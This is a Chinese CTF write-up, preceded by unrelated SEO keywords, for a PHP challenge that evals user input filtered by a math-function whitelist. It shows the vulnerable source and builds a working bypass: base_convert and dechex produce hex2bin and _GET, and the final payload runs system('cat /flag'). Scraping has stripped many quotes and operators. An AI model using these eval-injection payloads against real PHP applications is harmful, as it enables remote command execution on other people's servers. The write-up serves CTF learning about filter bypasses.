前端网站开发心得体会,wordpress设置先登录再进入,上海著名网站建设,58同城二手房出售文章目录 前言考点解题过程 前言 感慨自己实力不够#xff0c;心浮气躁根本做不来难题。难得这题对我还很有吸引力#xff0c;也涉及很多知识。只能说我是受益匪浅#xff0c;总的来说加油吧ctfer。 考点
利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特… 文章目录 前言考点解题过程 前言 感慨自己实力不够心浮气躁根本做不来难题。难得这题对我还很有吸引力也涉及很多知识。只能说我是受益匪浅总的来说加油吧ctfer。 考点
利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特性就是可以用变量执行函数
解题过程
打开题目源代码 ?php
error_reporting(0);
//听说你很喜欢数学不知道你是否爱它胜过爱flag
if(!isset($_GET[c])){show_source(__FILE__);
}else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;);
}
简单分析一下只有一个GET传参参数是c然后对上传的值进行黑名单检测接着给了白名单以及常用的数学函数。这个提示很明显了需要我们用函数进行转换成我们的执行命令
我们访问该链接发现base_convert函数是突破口很明显我们要转换成字母 我们试试将phpinfo转换成十进制 然后在题目测试一下 发现成功访问 思路正确后我们现在就要想构造类似于system(ls /);这样的出来但是这里对我们c的值进行了超多过滤这里用的是构造出类似$_GET[1]这样。
关键点利用php动态函数的特性比如我们可以构造
?c$a_GET;($$a)[1]1phpinfo();如此来看我们就可以绕过正则匹配的限制
现在的问题就是如何构造出_GET这里需要用到的两个函数是 dechex()函数 可以将十进制转换为十六进制 hex2bin()函数 可以将十六进制转换为ascii码 这里一开始做可能会有疑惑为什么要用到dechex()函数呢其实目的很明显因为c的值不能有字母而我们要想利用hex2bin()函数即十六进制有字母出现必须要进行转换
经过测试
hex2bin(5f474554) -- _GET往前推hex2bin可以用base_convert函数表示
base_convert(37907361743,10,36) -- hex2bin5f474554用dechex函数表示
dechex(1598506324); -- 5f474554整理一下
?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}1phpinfo();注命名为$abs是因为abs在白名单里可以通过检测 然后再考虑到[]被过滤用{}替换即可 但是上传后并没有回显
原因很简单phpinfo只是被当成字符串并没有执行phpinfo();
这里最后一个点就是我们传递的参数值为两个(即一个是函数名 一个是参数)该如何绕过呢 解决方法是用php7的特性就是可以用变量执行函数
简单测试下可以发现打印test出来 所以我们的payload为
?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})1system2cat /flag得到flag